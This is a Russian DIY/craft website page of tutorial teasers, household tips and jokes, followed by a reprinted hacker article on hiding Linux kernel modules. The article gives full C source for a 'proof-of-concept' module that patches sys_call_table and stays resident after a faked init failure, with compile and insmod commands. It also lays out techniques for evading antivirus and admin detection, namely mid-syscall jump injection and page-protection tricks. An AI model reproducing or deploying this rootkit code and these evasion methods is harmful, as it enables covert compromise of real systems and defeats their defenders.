Владислав Кабак | Omegicus CIO

NebKa

Канзаши двойной острый лепесток.

Мастер-класс Анны Жуковой. В этом фото мастер-классе я покажу, как сделать канзаши двойной острый лепесток. Такие острые лепестки отлично подойдут для изготовления георгин,астр и хризантем. Фото 1. Из ленты шириной 5 см нарезаем квадраты и из узкой ленты шириной  1,2 см нарезаем отрезки



читать далее »

Шкала масштабов Вселенной



читать далее »

ИНТЕРЬЕРНАЯ ПОДУШКА КРЮЧКОМ



читать далее »

Рамочка для фото из соленого теста.

Автор Анна Яцюк. Оригинальная рамочка из соленого теста выполнена в форме пуговицы. Размер рамки довольно большой — 25 см на 25 см. Так фоторамка из соленого теста выглядит на стене, в полном объеме. Подвески к рамочке для фото я сделала тоже в



читать далее »

Вязание. НОСКИ НА ДВУХ СПИЦАХ БЕЗ ШВА

Связываем в узелок основную нить и дополнительную длиной около 30 см. В качестве доп. нити лучше брать что-нибудь скользкое.Набираем петли. Петель должно быть половинное количество от необходимого. Например, нужно для вязания носков 48 петель (для



читать далее »

Мой совет:

Если нужно срочно избавиться от жирного пятна, можно посыпать его зубным порошком и прогладить через бумагу.


читать далее »

Природа

Однако вершина горы Килиманджаро всегда в снегу: здесь температура держится около -20 градусов по Цельсию.


читать далее »

Шапочки *Весеннее настроение* из Страны Мам

     Вот такие позитивные шапочки вяжу этой весной. Пряжа Бегония от Ярн Арт, крючок 2 и 2,25 фирмы Кловер.Схема давно всем известная, но если кто попросит, поищу. Все остальное полет фантазии...                          Ниточки СОСО от Вита (очень нравится



читать далее »

Вязание спицами. Техника. Полезности



читать далее »

Природа

Гигантские массы, которые свергает вниз Ниагарский водопад в Северной Америке, "съедают" скальный уступ на 1,2 м ежегодно.


читать далее »

Разное

Чтобы скушать пучок сельдерея, вы потратите больше энергии, чем получите от него.


читать далее »

Что сделать интересного своими руками: органайзер фотографий

Вам понадобится: - картон - ткань - лента - ножницы - суперклей или горячий клей - клей-карандаш - карандаш - небольшая тарелка - прищепки - фотографии (любые картинки) - акриловые краски и кисточка 1. Из картона вырежьте круг. Чтобы его начертить можете использовать тарелку.   2. Положите вырезанный круг



читать далее »

Шьем прихватку варежку. Выкройка

Если у вас еще нет такой полезной вещицы на кухне, как прихватка в виде варежки, предлагаю вам ее сшить своими руками)



читать далее »

Цветочный колодец из палочек от мороженого и бобинки от скотча.

Автор ИгорЁк СычЁв    Для этого нам понадобится бобина из под скотча и деревянный шпатель медицинский или полочки для мороженного. Режим шпатель по 5 см. Приклеиваем палочки к бобине. Берем полосу 5 см на 25 см и круг по диаметру бобины Приклеиваем. Берем



читать далее »

Креативная переделка свитера 5

Источник: http://grosgrainfabulous.blogspot.com/2010/11/embellish-knit-month-day-15.html



читать далее »

Мой совет:

Мыть мясорубку гораздо легче, если в конце пропустить сырой картофель.


читать далее »

Пенал из ангорской шерсти (спицы)

Этот очаровательный вязаный пенал на молнии, связан из ангорской шерсти, а внутри — подкладка в цветочек. Приберите туда свои карандаши, косметику, украшения… ЧТОБЫ НАЧАТЬ Модель связана лицевым джерси с узором «косы». Не нуждается в придании формы. Размеры Размер готового пенала:



читать далее »

Космос

Наиболее стремительно движется по околосолнечной орбите Меркурий - средняя скорость составляет 47,9 километра в секунду. До августа 2006 года считалось, что из всех планет Солнечной системы наименьшая скорость орбитального движения у Плутона, который перемещается по


читать далее »

Лучшие фотографии путешествий первой половины 2014 года

Журнал National Geographic проводит уже 26-й по счету конкурс фотографий путешественников «Traveler Photo Contest».     Момент истины.   Детские мечты.   Птицы в утреннем свете. На облаке номер 9. Первый поезд. Дух архитектуры. Любовь природы. Жизнь в коробке. Замок и верблюды. Привет. Другой мир. Золотые Ворота в тумане. Правила вулкана Килауэа. Малая



читать далее »

Анекдот

Я ж вам говорю: “Приходите завтра!”, а вы все время сегодня приходите!


читать далее »

Человек

Во время полета человека в самолете скорость роста его волос удваивается.


читать далее »

Как сшить спортивную сумку. Мастер-класс

Дорогие рукодельницы) Хочу вам предложить сшить самим спортивную сумку. Данная сумка - вместительная и легкая, что очень удобно для посещений спортзала или поездки в отпуск. Смотрим мастер-класс? Итак, смотрим мастер-класс по пошиву спортивной сумки - незаменимой



читать далее »

Мастер-класс по квиллингу: Петельчатые цветы

К этой технике квиллинга лучше подходит название петельчатая сборка, так как лепестки и листочки делаются с помощью создания петель из полосок бумаги и без использования инструмента для квиллинга. Этот вид квиллинга был использован полностью в



читать далее »

Его убил бумеранг

Сначала эта история казалось довольно ясной и даже банальной: два года назад в Австралии был найден скелет аборигена, на черепе которого была обнаружена глубокая рана. Последняя указывала на то, что смерть человека произошла от удара



читать далее »

Зимние дачные забавы: шьем лоскутное одеяло

Честное слово, я таким образом забавляться не собиралась, главным образом потому, что о технике лоскутного шиться знаю очень немного, практически ничего. Остались смутные воспоминания из детства: зимние ночевки у бабушки, толстое тяжелое ватное одеяло. Под ним



читать далее »

«Веточка жасмина» из холодного фарфора

АВТОР ИЗДЕЛИЯ:  Рукотворные цветы Калиничевой Елены  Сегодня я расскажу вам о том, как создать изысканный весенний аксессуар «Ветка жасмина» из самоотвердевающейся полимерной глины (холодного фарфора)Мастер-класс довольно подробный и подходит даже начинающим, но надеюсь, что и опытные мастерицы


читать далее »

Подвеска "Яблоко" - wire wrap - МК

Автор работы и мастер класса - Ольга Мельникова ...   Мастер-класс довольно простой, поэтому подойдет новичкам.Сегодня будем делать подвеску "Яблочко" из медной проволоки. Для этого нам понадобится: медная проволока 1,0 мм - 70-72 см. медная проволока 0,4 или 0,5 мм (я использовала



читать далее »

Наука

Бикфордов шнур горит с постоянной скоростью 1 см/с и по его длине подрывники могут прикинуть время до взрыва.


читать далее »

Мой совет:

Бульон будет прозрачным, если в него бросить кусочек льда и довести до кипения.


читать далее »

Анекдот

- Есть предложения, как сегодня Хэллоуин отпраздновать?! - Ну... Можно снять баб пострашнее...


читать далее »

Магия шнура)МК браслет видео урок

  Красивый МК по плетению браслета.    


читать далее »

Как сделать удобную плетеную корзину для сборки урожая

Любите собирать свежие ягоды из собственного сада или из ближайшего леса, тогда вам будет интересно узнать о том, как сделать удобную плетеную корзину для сборки урожая. Эта удобная корзина поможет вам ловко и быстро собрать


читать далее »

Забавные фотографии

   



читать далее »

Розы из фетра



читать далее »

Как сделать серьги-паутинка

Для того чтобы сделать серьги-паутинка необязательно из заказывать у опытной вязальщицы, их можно связать если Вы обладаете хотя бы минимальными навыками в вязании крючком.  Первое – это необходимо приобрести крючок 0,5-0,75, нитки ирис или Maxi, круглая



читать далее »

БРОШЬ «ЦВЕТОК» ИЗ БИСЕРА



читать далее »

Анекдот

Жена айтишника спрашивает у мужа:- Почему ты никогда не рассказываешь, как у тебя дела на работе?- Да чего тебе рассказывать? Вот, вчера блок питания сгорел…- Бедненький! Ну ты хоть с собой бутерброды бери


читать далее »

Разное

Самый долгий зарегистрированный полет курицы – 13 секунд.


читать далее »

ПЕРЕДЕЛКА ОДЕЖДЫ. ЖИЛЕТ ДЛЯ ДЕВОЧКИ И ЦВЕТОК ИЗ ДЖИНСА

 Хорошая идея переделать джинсовое простенькое платье в джинсовый костюмчик.       Нашла тут http://www.craftpassion.com



читать далее »

Большая подборка мебели из картона + видео

Представленные здесь фото собраны в Интернете, но это не помешает вам использовать идеи мебели из картона в своих работах. Для начала посмотрите несколько видеороликов о мебели из картона.   Странно, но у нас до сих пор никто и



читать далее »

Вереск из бисера.

Мастер-класс Марины Литовченко. В этом мастер-классе я покажу, как плести вереск из бисера.Вереск — вечнозеленый красивоцветущий кустарник. Попробуем его сделать своими руками. Итак, приступим к плетению вереска из бисера. Изначально плетем обычные петельки-листочки, чтобы получилась такая форма, как как фото. Затем



читать далее »

Животные

Змеи могут спать 3 года подряд, ничего не принимая в пищу.


читать далее »

ШЬЕМ ДЕТСКУЮ СУМОЧКУ

  ARTEMELZA - Arte e Artesanato (ARTEMELZA) / CC BY-NC-SA 2.5



читать далее »

ЦИКЛАМЕН ИЗ КАПРОНА

  Источник: http://barrellab.ru



читать далее »

Космос

Периодом Большого взрыва условно называют интервал времени от «нуля» до нескольких сотен секунд. Современные научные знания не позволяют проникнуть в то мгновение, когда начался Большой взрыв, и уловить ту долю секунды, которая была до «нуля».


читать далее »

Взлом телевизоров вблизи и на расстоянии

Взлом телевизоров вблизи и на расстоянии Автор: (c)Крис Касперски ака мыщъх Все мы используем пульты дистанционного управления на ИК-основе, но далеко не каждый из нас знает, какие возможности и опасности они предоставляют. Помимо "несанкционированного" переключения каналов у соседа, хакер может


читать далее »

Анекдот

- Все, зай. Я спать. Целую, люблю, обнимаю, мурлыкаю и уютно соплю тебе в ушко - Эээээ.... а за что соплю-то в ухо?


читать далее »

Наука

Обычную книгу стандартного формата в 500 страниц нельзя раздавить, даже если поставить на нее 15 вагонов, груженых углем.


читать далее »

Как сделать деревянное кольцо на палец при помощи дрели

Деревянные кольца являются не только украшением, но еще и амулетом, природной силой, в зависимости от породы дерева, которую вы будете использовать при изготовлении кольца. Также сейчас возвращается традиция дарить деревянные обручальные кольца, так что можно своей половинке смастерить



читать далее »

Мой совет:

Пятна от фруктового сока следует протереть нашатырным спиртом пополам с водой, затем всё изделие постирать.


читать далее »

Оригинальные и интересные идеи для кухни

Если вы хотите сделать свою кухню оригинальной и неповторимой, то вам стоит привнести в ее оформление интересные и необычные элементы и аксессуары, которые помогут придать этому помещению индивидуальность.Главное, следите за тем, чтобы вы чувствовали себя



читать далее »

Мой совет:

Старое говяжье мясо станет нежным и быстрее свариться, если обвалять его в горчичном порошке и оставить на ночь. Перед готовкой горчицу смыть холодной водой.


читать далее »

Анекдот

Сидят, значит, Илья Муромец, Добрыня Никитич и Алеша Попович в пещере, квасят.Тут подлетает Змей Горыныч и говорит:- Мужики, можно я тут посижу?- Пошел на фиг!Змей улетел. Тут на улице дождик капать начинает. Змей опять:- Ну


читать далее »

Сапоги, связанные спицами. Описание

Как можно украсить зимнюю обувь? Связать «одежду» для сапог по принципу гетр. Размер: единый Вам потребуется: 2 мотка меланжевой пряжи Cisne Princess Coats Corrente (100% полиамид, 100м/100г, цвет 417) коричневого цвета; Спицы №6; Игла для сшивания Узоры: Платочная вязка: лиц. и



читать далее »

Схемы детской вышивки



читать далее »

Анекдот

Бедная семья. Сидят отец и сын, картошку едят. Сын потянулся за картошиной и случайно задел бутылку водки, она пошатнулась, но не упала. Сын (смеясь): - Пап, смотри, бутылка только что была на волоске от смерти. Отец (строго): -


читать далее »

Детские прически часть 2

Детские прически часть 2 Итак, давайте приступим к изучению всех этих процессов причесывания волос и укладывания их замысловатыми прядями. При помощи расчески с длинным острым носиком делим на проборы и фиксируем маленькими резиночками в хвостики - переднюю



читать далее »

Мой совет:

Смоляные, асфальтовые, нефтяные, бензиновые, керосиновые пятна, если они старые, можно удалить смесью из 1 чайной ложки картофельного крахмала с добавлением нескольких капель скипидара и нашатырного спирта. Смочить смесью пятно и оставить, пока подсохнет, затем хорошо


читать далее »

Винтажное пасхальное яйцо с ландышами крючком. Очень красивая композиция. Автор Karen Bailey

Источник http://www.todolwen.ca/2014/03/my-easter-blooms.html



читать далее »

Природа

В мире более 2500 разновидностей грибов.


читать далее »

Большой Street Style: вязание. Идеи

Большая подборка уличной моды, из нескольких постов.  Источник: http://secondstreet.ru/blog/street_style/bolshoj-street-style-vjazanie.html



читать далее »

Платье-фартук. Идеи, выкройки

Иримед: в последние годы платье-фартук уже не домашняя вещь, а почти выходная. Почему? Я думаю, что причина, прежде всего, в его комфортности. Под него можно надеть и тонкую футболку, и теплый свитерок. Можно немного поправиться



читать далее »

Анекдот

Дальновидный отец семейства никогда не едет сразу к месту отдыха. Он сначала минут пятнадцать покружит по кварталу, давая жене и детям время вспомнить, какие еще вещи они забыли.


читать далее »

Вязаная пелерина с капюшоном. Схема



читать далее »
Здесь пока пусто

Unauthorized.

Призраки ядра или модули-невидимки

2011.10.08

Призраки ядра или модули-невидимки

Автор: (c)Крис Касперски ака мыщъх

Потребность в создании "невидимых" модулей ядра растет с каждым днем - антивирусная индустрия набирает обороты, на рынке присутствует множество virginity-checker'ов, проверяющих систему на предмет проникновения, в хакерских (и даже совсем не хакерских!) журналах опубликована масса статей, рассказывающих, как прятать модули от штатных средств ОС, в результате чего старые трюки палятся еще на излете и уже не работают. Требуется что-то принципиально новое! Главным образом, речь пойдет про Linux, но предложенные приемы с ничуть не меньшим успехом можно использовать в NT и BSD.

Введение

Лучший способ замаскировать модуль (в терминологии NT - драйвер) - не иметь модуля (драйвера) вообще! И это не шутка! Модули представляют собой унифицированный механизм, обеспечивающий легальную загрузку/выгрузку компонентов ядра, однако существуют и другие механизмы проникновения на уровень ядра, некоторые из которых описаны в моей статье Захватываем ring 0 в Linux, однако все они не универсальны и ненадежны. С другой стороны, любая попытка явного стелсирования (см. статью Прятки в Linux) - это 100% палево, выдающее факт вторжения с головой. Антивирусу достаточно вручную пройтись по всем структурам ядра, а затем сравнить полученный результат с данными, возвращенными легальными средствами (например, командой "lsmod").

Значит, чтобы не иметь проблем с маскировкой модуля, достаточно просто не регистрировать его в списке модулей. Отказаться от предоставляемого системой унифицированного интерфейса и размещать свою тушу в ядерной памяти самостоятельно. Но для этого сначала нужно вырыть нору, ведь мыши, модули и прочие грызуны живут в норах, а на открытом пространстве быстро погибают, становясь легкой добычей лис, филинов и других ухающих хищников.

Мыщъх в норе

Рисунок 1. Мыщъх в норе собственной персоной с рассветом наедине.

Руководящая идея

Пишем модуль как обычно, но в процедуре init_module() выделяем блок памяти вызовом __get_free_pages (или любой другой функцией из семейства kmalloc, см. "Чем выделять память"), копируем туда резидентный код, делающий что-то "полезное", перехватываем все необходимые системные вызовы, заставляя их передавать управление резидентному коду (который, кстати говоря, должен быть перемещаемым, т.е. сохранять работоспособность независимо от базового адреса загрузки). После этого мы возвращаем -1, сообщая системе, что init_module обломался.

Как результат - модуль не загружается, но и выделенная им память не освобождается, а это значит, что резидентный код продолжает работать! Причем, определить - каким именно модулем был выделен тот или иной блок памяти в общем случае невозможно и даже обнаружив резидентный код, антивирус ни за что не сможет сказать, откуда он тут взялся?

Что случилось с www.rootkit.com?

Рисунок 2. Что случилось с www.rootkit.com?!

Какие именно системные вызовы перехватывать и как осуществлять фильтрацию, можно прочитать в любой статье, посвященной технологии создания rootkit'ов, например: "Abuse of the Linux Kernel for Fun and Profit" (PHRACK #50), "Weakening the Linux Kernel" (PHRACK #52), "Sub proc_root Quando Sumus" (PHRACK #58), "Kernel Rootkit Experiences" (PHRAСK #61) и т.д. Все статьи, естественно, на английском, знание которого только приветствуется. И хотя сам PHRACK уже мертв, архив старых номеров доступен всем желающим по старому адресу www.phrack.org. А вот www.rootkit.com последнее время ведет себя как-то странно. На доменное имя не отзывается, но нормально открывается по IP-адресу: 65.61.116.2. Интересно, это у меня такое или у остальных тоже? Пишите на http://slut96.blogspot.com (см. рис. 3).

Но довольно лишних слов! Пора приступать к практической реализации!

slut96.blogspot.com

Рисунок 3. slut96.blogspot.com - секретная нора мыщъх'а, где ему можно оставить сообщение.

Proof-of-concept module или готовая демонстрация

Давайте, в качестве разминки соорудим минимально работающий "невидимый" LKM-модуль для Linux с ядром версии 2.4 (ядро 2.6 потребует незначительных изменений, о которых мы расскажем ниже), а вот в операционных системах xBSD и NT все сильно по-другому, хотя основополагающий принцип тот же - в процедуре инициализации выделяем память, копируем туда резидентный код, перехватываем один или несколько системных вызовов и возвращаем ошибку, приводящую к выгрузке модуля из памяти. Подробнее о технике написания LKM- и KLD-модулей под xBSD можно прочитать в моей статье Хачим ядро xBSD, а "скелет" драйвера под NT описан в статье Жизнь после BSOD. Еще рекомендуется прочитать цикл статей Four-F'а на wasm'e, покрывающий собой все основные аспекты разработки драйверов: http://www.wasm.ru/article.php?article=drvw2k01.

Но вернемся к Linux'у. Наш "невидимка" будет перехватывать системный вызов SYS_mkdir (см. рис. 4), возвращая неизменную ошибку вместо передачи управления оригинальному syscall'у, в результате чего создание новых директорий окажется невозможным (во всяком случае, до перезагрузки системы). Это сделано для "облегчения" листинга и упрощения его понимания. Примеры реализации полноценных перехватчиков содержатся в статьях Перехват библиотечных функций в Linux и BSD и Шприц для *BSD.

Механизм реализации системных вызовов

Рисунок 4. Механизм реализации системных вызовов в Linux.

В качестве "шасси" мы будем использовать "скелет" LKM-драйвера, приведенный в уже упомянутой статье Прятки в Linux. Фактически, мы только выбросим процедуру cleanup_module(), выполняющуюся при выгрузке модуля из памяти (ведь наш модуль никогда не выгружается! во всяком случае, в традиционной трактовке этого слова), добавим функцию thunk_mkdir(), замещающую собой старый системный вызов SYS_mkdir() и напишем несколько строк кода, обеспечивающих выделение памяти, копирование thunk_mkdir() и подмену оригинального SYS_mkdir'а. Если отбросить комментарии, на все понадобиться менее десяти строк на языке Си (краткость - сестра таланта)!

Предлагаемый вариант реализации выглядит так:

// сообщаем компилятору, что это модуль режима ядра
#define MODULE
#define __KERNEL__

// подключаем заголовочный файл для модулей
#include
// на многоЦП'шных машинах подключаем еще и smp_lock.h
#ifdef __SMP__
        #include
#endif

// подключаем файл syscall.h, в котором перечислены все
// системные вызовы (в т.ч. и необходимый нам SYS_mkdir)

#include

// не нужно использовать linux/malloc.h, чтобы не ругался
// компилятор, вместо этого возьмем linux/mm.h
// #include

#include

// заглушка на функцию SYS_mkdir, всегда возвращающая -1,
// т.е. блокирующая всякую попытку создания директории с
// сообщением об ошибке; естественно, в "полновесном"
// вирусе или rootkit'е здесь должен быть обработчик,
// передающий управление оригинальному системному вызову

thunk_mkdir()
{
        return -1; // директория не создается
}

// чтобы определить длину функции thunk_mkdir, которую мы
// собираемся копировать в выделенный блок памяти, будем
// исходить из того факта, что порядок объявления функций
// в файле совпадет с их размещением в памяти, (в 99% все
// именно так и происходит!), тогда нам останется только
// разместить фиктивную функцию за концом настоящей и...
// вычислить разницу указателей. то есть, условно говоря,
// size of(thunk_mkdir) = thunk_end - thunk_mkdir.
// внимание! это работает не на всех платформах!!!

thunk_end()
{
        return 0x666; // thunk_end никогда не вызывается
}

// объявляем внешнюю переменную, указывающую на таблицу
// системных вызов sys_call_table

extern void *sys_call_table[];

// объявляем функцию, в которую будет записан указатель
// на оригинальный системный вызов old_mkdir (в данном
// случае он никак не используется)

int (*old_mkdir)();

// объявляем функцию, в которую будет записан указатель
// на резидентный код thunk_mkdir, остающийся в памяти
// даже после выгрузки модуля

int (*new_mkdir)();

// EntryPoint: стартовая функция модуля, ответственная
// за его инициализацию и возвращающая 0 (при успешной
// инициализации) и -1 (если в ходе инициализации были
// зафиксированы неустранимые ошибки), и в этом случае
// модуль не загружается.

int init_module(void)
{
        // выделяем одну страницу ядерной памяти
        new_mkdir = (void *) __get_free_page(GFP_KERNEL);

        // проверяем успешность выделения памяти
        if (!new_mkdir) return -1 | printk("mem error!\n");

        // определяем адрес оригинального вызова SYS_mkdir
        // (в данной версии модуля никак не используется!)

        old_mkdir = sys_call_table[SYS_mkdir];

        // копируем резидентный код нового SYS_mkdir в блок
        // памяти, выделенный вызовом __get_free_page

        memcpy(new_mkdir, thunk_mkdir, thunk_end-thunk_mkdir);

        // модифицируем таблицу системных вызовов, заменяя
        // старый вызов mkdir на новую процедуру-заглушку

        sys_call_table[SYS_mkdir] = new_mkdir;

        // выводим отладочное сообщение, что все ОК
        printk("SYS_mkdir is now hooked!\n");

        // возвращаем ошибку, предотвращая загрузку модуля,
        // (но оставляя резидентный код в памяти)

        return -1;
}

// пристыковываем лицензию, по которой распространяется
// данный файл; если этого не сделать, модуль успешно
// загрузится, но операционная система выдаст warring,
// сохраняющийся в логах и привлекающий внимание админов

MODULE_LICENSE("GPL");

Листинг 1. Исходный текст невидимого LKM-модуля "mod-hidden.c", оставляющий резидентный код в памяти, блокирующий вызов SYS_mkdir() и работающий с ядром версии 2.4.

Для переноса модуля на 2.6 ядро прототип функции инициализации следует переписать так:

static int __init my_init()
module_init(my_init);

Листинг 2. Прототип функции инициализации LKM-модуля в ядрах версии 2.6.

Пара замечаний. Перечень системных вызовов (вместе со способом передачи аргументов) лежит на http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html (см. рис. 5). В частности, SYS_mkdir принимает два аргумента: в EBX передается указатель на имя создаваемой директории, в ECX - флаги, описанные в "man mkdir". При желании, проанализировав *EBX, мы можем блокировать создание только определенных директорий, например, тех, что используют антивирусы и прочие защитные средства по умолчанию. Конечно, это демаскирует присутствие rootkit'а, но до некоторой степени затрудняет его удаление из системы.

Описание системных вызовов

Рисунок 5. Описание системных вызовов (вместе с аргументами), найденное на просторах Интернета.

Перехват syscall'ов осуществляется вполне стандартно и традиционно: ядро экспортирует переменную extern void sys_call_table, указывающую на таблицу системных вызовов, каждый элемент которой указывает на соответствующий ему системный вызов (или NULL, если данный системный вызов не реализован). Определения самих системных вызовов содержатся в файле /usr/include/sys/syscall.h. В частности, за mkdir закреплено "имя" SYS_mkdir.

Объявив в модуле переменную "extern void *sys_call_table[]", мы получим доступ ко всем системным вызовам, которые только есть (включая нереализованные). old_mkdir = sys_call_table[SYS_mkdir] заносит в переменную old_mkdir указатель на системный вызов SYS_mkdir, а sys_call_table[SYS_mkdir] = new_mkdir заменяет его на new_mkdir, который должен располагаться в ядерной области памяти, о разновидностях которой мы поговорим ниже.

Внимание: если забыть скопировать new_mkdir в предварительно выделенный блок памяти, то после выгрузки модуля, SYS_mkdir будет указывать на невыделенную область памяти и приложение, вызывавшее функцию mkdir завершится с сигналом 11 - segmentation fault (см. рис. 6), но ядро продолжит функционировать в нормальном режиме и никаких экранов голубой смерти, которыми так славится NT, тут не произойдет. Да, Linux - это вам не Windows! Это намного более крутая и живучая система, способная постоять за себя!

Примечание: на самом деле, ядро ничего не экспортирует (в привычной для NT-программистов трактовке этого слова). В каталоге /boot лежит файл System.map, содержащий символьную информацию о всех "публичных" переменных и процедурах ядра. Его-то загрузчик модулей и использует. Если этого файла нет (например, удален администратором по соображениям безопасности), определять адрес таблицы символов приходится эвристическим путем, но это уже тема для отдельной статьи...

Некорректный перехват системного вызова

Рисунок 6. Некорректный перехват системного вызова приводит к аварийному завершению обратившегося к нему процесса, а не всего ядра целиком (как это происходит в NT).

Сборка и загрузка

Компиляция модулей (для знакомых с gcc) никакой сложности не представляет. Ключи, опции оптимизации и прочие специи - по вкусу. Кто-то любит острое, а кто-то соленое. Согласия, короче нет. Но в общем случае командная строка должна выглядеть так:

$gcc -c  module-hide.c -o mod-hidden.o -O2

Листинг 3. Компиляция невидимого LKM-модуля.

Если компиляция прошла без ошибок, то на диске образуется файл module-hide.o, готовый к загрузке внутрь ядра командой insmod (естественно, загружать модули может только root, техника нелегального приобретения которого рассмотрена в статье Захватываем ring 0 в Linux):

$insmod mod-hidden.o

Листинг 4. Загрузка LKM-модуля в пространство ядра (для автоматической загрузки модуля вместе с операционной системой необходимо добавить его в файл /etc/modules).

Система тут же начнет ругаться на всех языках, которые только знает (точнее, на тех, под которые ее локализовали), типа, мол, модуль не загружен, нет прав на операцию (см. листинг 5), неверные параметры, инвалидный IO или IRQ. Но не стоит волноваться. Все идет по плану! Это просто результат return -1 в init_module().

root@3[module]# gcc -c mod-hidden.c -o mod-hidden.o -O2
root@3[module]# insmod mod-hidden.o
mod-hidden.o: init_module: Operation not permitted
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters.
      You may find more information in syslog or the output from dmesg
root@3[module]#

Листинг 5. Реакция ядра на попытку загрузки невидимого LKM-модуля mod-hidden.o.

Главное то, что в списке загруженных модулей (выводимых командой "lsmod" или ее аналогом "dd if=/proc/modules bs=1") наш модуль отсутствует, как будто бы мы никогда туда его не загружали. Однако, команда "mkdir" дает ошибку, убеждая нас в том, что резидентный код успешно обустроился на конспиративной квартире и ведет активную борьбу!

root@3[module]# mkdir nezumi
mkdir: невозможно создать каталог `nezumi': Operation not permitted

Листинг 6. При активном резидентном коде создание новых директорий невозможно!

Сборка, загрузка и демонстрации

Рисунок 7. Сборка, загрузка и демонстрации работы невидимого модуля, отсутствующего в списке модулей, выдаваемых командой insmod и прочими средствами.

Чем выделять память?

Для выделения памяти ядро предоставляет богатый ассортимент функций, описанных в man'e (см. "man kmalloc", если только соответствующие страницы установлены, в некоторых дистрибутивах и, в частности, в KNOPPIX'е они наглым образом отсутствуют и приходится ходить в сеть: http://man.he.net/man9/kmalloc).

On-line man по функциям выделения ядерной памяти

Рисунок 8. On-line man по функциям выделения ядерной памяти.

В первую очередь хотелось бы отметить функцию "void *kmalloc(size_t size, int priority)", где size - размер запрашиваемого блока, который должен быть одним из следующих значений (в байтах): 24, 56, 120, 244, 500, 1012, 2032, 4072, 8168, 16360, 32744, 65512 или 131048. В противном случае функция автоматически округлит размер блока в большую сторону.

Параметр priority задает стратегию выделения памяти. GFP_ATOMIC выделяет требуемую память немедленно (при необходимости вытесняя другие страницы на диск), GFP_KERNEL резервирует блок памяти, выделяя страницы памяти по мере обращения к ним, GFP_BUFFER никогда не вытесняет другие страницы и если запрошенная память недоступна, с выделением наступает облом. Существуют и другие стратегии выделения, но нам они не интересны, поскольку фактически приходится выбирать между GFP_ATOMIC и GFP_KERNEL. Обычно используют последний, т.к. он ведет себя не столь агрессивно.

Если нужно выделить всего одну страницу памяти, имеет смыл воспользоваться функцией "unsigned long __get_free_page(int priority)", где priority - тот же самый, что и у kmalloc. Ее ближайшая родственница: "get_free_page(int priority)" отличается только тем, что обнуляет память сразу же после выделения, что несколько снижает производительность и к тому же мы все равно будем копировать резидентный код через memcpy, так что содержимое страницы нам некритично.

Определения всех функций (с краткими комментариями) содержатся во включаемом файле .

Грабеж отладочного вывода

Функция printk(), используемая нами, позволяет генерировать отладочный вывод, который не появляется на экране, чтобы не смущать пользователей обилием технической информации, в которой они все равно ни хрена не разбираются. Что ж, вполне логично, что отладочный вывод должен быть доступен только разработчикам, но... как, черт возьми, до него добраться? Операционная система NT имеет "Системный Журнал" (и притом не один), но ничего похожего на это в Linux'е нет и отладочный вывод бесхитростно валится в текстовой файл /proc/kmsg, который можно прочитать утилитой cat:

cat /proc/kmsg > filename

Листинг 8. Просмотр отладочного вывода под консолью.

Однако лучше использовать специализированные средства наподобие консольной приблуды "dmesg" (запускаемой без аргументов) или X-ой гляделки:

xconsole -file /proc/kmsg

Листинг 9. Просмотр отладочного вывода в X-ах.

Просмотр отладочного вывода

Рисунок 9. Просмотр отладочного вывода под X'ми.

Резидентный код в камуфляжных штатах

Вот мы и спрятали модуль! Теперь можно расслабиться и сгонять в Амстердам, чтобы зайти в Coffee-Shop и съесть пару аппетитных булочек известного содержимого. А пока мы там кайфуем, наш модуль имеют по полной программе все, кому не лень. Как это так?! Мы же ведь замаскировались!!!

Замаскироваться-то мы замаскировались, но подобное грубое вторжение в таблицу системных вызовов вряд ли сможет долго остаться незамеченным. Существует куча утилит, проверяющих целостность sys_call_table и автоматически восстанавливающих ее, отбирая у резидентного кода все бразды правления. Но даже без них - указатель на системный вызов, расположенный вне ядра, вызывает слишком большие подозрения.

Чтобы не сгореть на первом же допросе, необходимо слегка изменить тактику: оставить в покое sys_call_table и внедрить jump на резидентный код в начало перехватываемого системного вызова. Впрочем, jump в начале системных вызовов - весьма популярный (а потому широко известный) способ перехвата и опытные админы нас все равно запалят. Чтобы избежать расправы, необходимо внедряться не в начало, а в середину системных вызовов! А для этого необходимо тащить за собой целый дизассемблер, поскольку длина x86 инструкций непостоянна и варьируется в весьма широких пределах. Впрочем, можно пойти на хитрость и искать плацдарм для внедрения эвристическим путем, например, по сигнатуре: 85h C0h * 7x, соответствующей конструкции TEST EAX,EAX/Jx target. Звездочка означает, что между TEST EAX,EAX и Jx target может быть расположено несколько машинных команд. Во избежание ложных срабатываний не следует выбирать расстояние между 85h C0h и 7xh свыше 4 байт. Естественно, внедряя jmp near our_resident_code поверх TEST EAX,EAX..., необходимо предварительно сохранить затираемое содержание в своем собственном буфере и выполнить его перед передачей управления оригинальному системному вызову.

Важно отметить, что данный способ перехвата не является на 100% надежным и безопасным, поскольку существует ничтожная вероятность, что выполнение процесса будет прервано в момент установки jump'а и тогда он рухнет. Однако rootkit'ы об этом могут не заботиться, да и падения такие будет происходить не чаще, чем раз в сто лет.

Маскируемся в адресном пространстве

Вот теперь мы замаскировались, так замаскировались! Только хвост все равно из норы торчит и наш резидентный код может быть найден тривиальным сигнатурным поиском путем сканирования памяти ядра (естественно, при условии, что он известен антивирусам, а все популярные rootkit'ы им известны). Чтобы остаться необнаруженным, необходимо использовать или продвинутые полиморфные методики или... есть тут один способ, о котором не грех рассказать.

Сбрасываем страницы, принадлежащие нашему резидентному коду, в no_access, вешаем обработчик исключений, отлавливающий ошибки доступа к памяти и терпеливо ждем. Как только возникнет исключение - смотрим: если на вершине стека находится адрес возврата в системный вызов (для этого перехват должен осуществляться командой CALL, а не jump), то возвращаем все атрибуты на место и даем зеленый свет на выполнение резидентного кода, а в момент передачи управления оригинальному системному вызову - отбираем атрибуты обратно. Если же резидентный код пытается читать кто-то еще (что за посторонние тут шляются, спать мешают!) - подсовываем другую страницу (например, путем манипуляций с каталогом страниц). Более сложные реализации не восстанавливают атрибуты, а используют пошаговую трассировку резидентного кода или даже эмулируют его выполнение, но это уже передоз, то есть перебор.

Просто? Как два пальца! Эффективно? А вот насчет эффективности мыщъха терзают смутные сомнения. Но ведь не он же этот трюк придумал! Так что, может и покритиковать. Первое и самое главное. Читать резидентный код в памяти ядра могут не только антивирусы, но и само ядро при вытеснении его на диск или переходе в "спящий" режим. Как следствие - возникает конфликт и rootkit работает нестабильно. Второе - код обработчика остается незащищенным (а защитить его никак нельзя, поскольку кто-то же должен обрабатывать исключения!), следовательно, он элементарно палиться по сигнатурному поиску. Как говорится, за что боролись - на то и напоролись.

